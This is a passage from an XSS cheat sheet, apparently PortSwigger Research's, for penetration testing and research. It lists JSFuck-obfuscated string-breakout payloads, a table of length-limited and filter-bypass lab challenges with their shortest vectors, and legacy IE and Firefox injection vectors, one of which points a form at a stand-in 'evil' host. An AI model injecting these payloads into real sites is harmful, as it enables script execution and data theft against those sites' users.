';this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (top)
';top[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (parent)
';parent[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (frames)
';frames[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
XSS into a JavaScript string: Hieroglyphy/JSFuck (globalThis)
';globalThis[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//
Content types
This section lists content-types that can be used for XSS with the X-Content-Type-Options: nosniff header active.
Response content types
This section lists content-types that can be used for XSS when you can inject into the content-type header.
Impossible labs
To find out what these are for, please refer to Documenting the impossible: Unexploitable XSS labs.
| Title | Description | Length limit | Closest vector | Link |
|---|---|---|---|---|
| Basic context, WAF blocks <[a-zA-Z] | This lab captures the scenario when you can't use an open tag followed by an alphanumeric character. Sometimes you can solve this problem by bypassing the WAF entirely, but what about when that's not an option? Certain versions of .NET have this behaviour, and it's only known to be exploitable in old IE with <%tag. | N/A | N/A | 🔗 |
| Script based injection but quotes, forward slash and backslash are escaped | We often encounter this situation in the wild: you have an injection inside a JavaScript variable and can inject angle brackets, but quotes and forward/backslashes are escaped so you can't simply close the script block. The closest we've got to solving this is when you have multiple injection points. The first within a script based context and the second in HTML. | N/A | N/A | 🔗 |
| innerHTML context but no equals allowed | You have a site that processes the query string and URL decodes the parameters but splits on the equals then assigns to innerHTML. In this context <script> doesn't work and we can't use = to create an event. | N/A | N/A | 🔗 |
| Basic context length limit | This lab's injection occurs within the basic HTML context but has a length limitation of 15. Filedescriptor came up with a vector that could execute JavaScript in 16 characters: <q oncut=alert`` but can you beat it? | 15 | <q oncut=alert`` | 🔗 |
| Attribute context length limit | The context of this lab inside an attribute with a length limitation of 14 characters. We came up with a vector that executes JavaScript in 15 characters:"oncut=alert``+ the plus is a trailing space. Do you think you can beat it? | 14 | "oncut=alert`` | 🔗 |
| Basic context length limit, arbitrary code | It's all well and good executing JavaScript but if all you can do is call alert what use is that? In this lab we demonstrate the shortest possible way to execute arbitrary code. | 19 | <q oncut=eval(name) | 🔗 |
| Attribute context length limit arbitrary code | Again calling alert proves you can call a function but we created another lab to find the shortest possible attribute based injection with arbitrary JavaScript. | 17 | See link | 🔗 |
| Injection occurs inside a frameset but before the body | We received a request from twitter about this next lab. It occurs within a frameset but before a body tag with equals filtered. You would think you could inject a closing frameset followed by a script block but that would be too easy. | N/A | N/A | 🔗 |
| Injection occurs inside single quoted string, only characters a-z0-9+'.` are allowed. | The injection occurs within a single quoted string and the challenge is to execute arbitrary code using the charset a-zA-Z0-9'+.` | N/A | N/A | 🔗 |
Classic vectors (XSS crypt)
Iframe data urls no longer work as modern browsers use a null origin
<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">
VBScript protocol used to work in IE
<a href="vbscript:MsgBox+1">XSS</a>
<a href="#" onclick="vbs:Msgbox+1">XSS</a>
<a href="#" onclick="VBS:Msgbox+1">XSS</a>
<a href="#" onclick="vbscript:Msgbox+1">XSS</a>
<a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a>
<a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>
JScript compact was a minimal version of JS that wasn't widely used in IE
<a href="#" onclick="jscript.compact:alert(1);">test</a>
<a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>
JScript.Encode allows encoded JavaScript
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
<a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>
VBScript.Encoded allows encoded VBScript
<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
<iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
IE9 select elements and plaintext used to consume markup
<form action=x><button>XSS</button><select name=x><option><plaintext><script>token="supersecret"</script>
In quirks mode IE allowed you to use = instead of :
<div style=xss=expression(alert(1))>
<div style="color=red">test</div>
Behaviors for older modes of IE
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XSS</a>
Older versions of IE supported event handlers in functions
<script>
function window.onload(){
alert(1);
}
</script>
<script>
function window::onload(){
alert(1);
}
</script>
<script>
function window.location(){
}
</script>
<body>
<script>
function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML(){}
</script>
</body>
<body>
<script>
function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; }
</script>
</body>
GreyMagic HTML+time exploit (no longer works even in 5 docmode)
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>
Firefox allows NULL characters inside opening comments
<!- - ><img title="--><iframe/onload=alert(1)>"> -->
<!- - ><img title="--><iframe/onload=alert(1)>"> -->
Isindex using submit
<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?
Credits
Brought to you by PortSwigger Research.
This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jan Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a, Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun, har1sec, Yann C., gadhiyasavan, p4fg, diofeher, Sergey Bobrov
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request